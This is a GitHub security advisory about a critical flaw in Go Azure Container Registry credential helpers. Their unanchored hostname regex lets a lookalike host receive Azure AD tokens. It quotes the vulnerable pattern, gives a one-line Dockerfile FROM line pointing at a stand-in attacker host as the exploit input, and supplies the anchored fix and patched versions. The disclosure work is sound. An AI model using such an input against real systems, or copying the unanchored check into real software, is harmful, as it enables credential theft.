Skip to content

Credential leakage to untrusted hosts in github.com/chrismellard/docker-credential-acr-env

Critical
mzihlmann published GHSA-w273-jcgj-fm74 Aug 22, 2026

Package

gomod github.com/chrismellard/docker-credential-acr-env (Go)

Affected versions

<= 0.0.0-20230304212654-82a0ddb27589

Patched versions

None
gomod github.com/gaganhr94/docker-credential-acr (Go)
< 1.0.3
1.0.3
gomod github.com/osscontainertools/docker-credential-acr (Go)
< 0.8.0
0.8.0

Description

The ACR hostname check in this credential helper, and in every fork of it, is a regular expression that is not anchored:

var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)

so any hostname that merely contains azurecr.io is treated as ACR. ie. evil.azurecr.io.attacker.com matches. Note the leading label, the pattern needs a literal dot before azurecr, so a bare azurecr.io.attacker.com does not match.

The host that passed the check is then used to build the token exchange client, so the helper POSTs to https://evil.azurecr.io.attacker.com/oauth2/exchange and sends the Azure AD access token, once as Authorization: Bearer and once as the access_token form field. What leaks is that AAD token, not an ACR scoped refresh token, so it stays usable against Azure beyond the registry. Depending on how the helper runs it comes from AZURE_CLIENT_SECRET, from a federated workload identity assertion or from IMDS on the node.

The attacker input is an image reference, so a FROM line is enough:

FROM evil.azurecr.io.attacker.com/base:latest

Affected modules

github.com/chrismellard/docker-credential-acr-env, all versions, no fix. In Go terms the module has no semver tags, so consumers pin the pseudo-version v0.0.0-20230304212654-82a0ddb27589. The repository is unmaintained, last commit february 2023, and private vulnerability reporting is not enabled on it, which is why this advisory is published here. Tracked as GO-2026-6225.

github.com/gaganhr94/docker-credential-acr, below v1.0.3, fixed in v1.0.3. A rewrite of the same helper on azidentity that carried the same unanchored pattern in pkg/registry. It requests the AAD token with scope https://management.azure.com/.default, so what leaked is an ARM token, and it obtains it through DefaultAzureCredential, which also chains AzureCLICredential, AzureDeveloperCLICredential and AzurePowerShellCredential — on a developer machine without workload identity the helper falls through to an interactive az login and hands over a human's ARM token. This module reaches consumers through github.com/google/go-containerregistry/pkg/authn/k8schain, which still pins v1.0.2, so those consumers need go-containerregistry to bump that pin before they can pick up v1.0.3.

github.com/osscontainertools/docker-credential-acr, below v0.8.0, fixed in v0.8.0. No release below v0.8.0 was ever published under this module path, so only pseudo-versions resolved from the few commits between the module rename and the fix are affected.

Vulnerable functions

  • github.com/chrismellard/docker-credential-acr-envcredhelper.isACRRegistry, credhelper.ACRCredHelper.Get
  • github.com/gaganhr94/docker-credential-acrregistry.IsACRRegistry, credhelper.ACRCredHelper.Get, credhelper.acrKeychainHelper.Get
  • github.com/osscontainertools/docker-credential-acrcredhelper.isACRRegistry, credhelper.ACRCredHelper.Get

The host check is the gate, the Get methods are the exported entry points that reach it.

Resolution

Anchor every alternative on both ends:

var acrRE = regexp.MustCompile(`^.*\.azurecr\.io$|^.*\.azurecr\.cn$|^.*\.azurecr\.de$|^.*\.azurecr\.us$`)

Each alternative needs its own ^ and $, a ^ on the first one and a $ on the last one only looks anchored. And .*\. has to stay, ACR serves blobs from dedicated data endpoints like <registry>.<region>.data.azurecr.io.

Users of gaganhr94/docker-credential-acr upgrade to v1.0.3. Users of the unmaintained upstream module have no upgrade path within it, use github.com/osscontainertools/docker-credential-acr v0.8.0 or later. Coming from chrismellard/docker-credential-acr-env it is drop-in apart from the module path and binary rename to docker-credential-acr.

References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Permissive Regular Expression

The product uses a regular expression that does not sufficiently restrict the set of allowed values. Learn more on MITRE.

Credits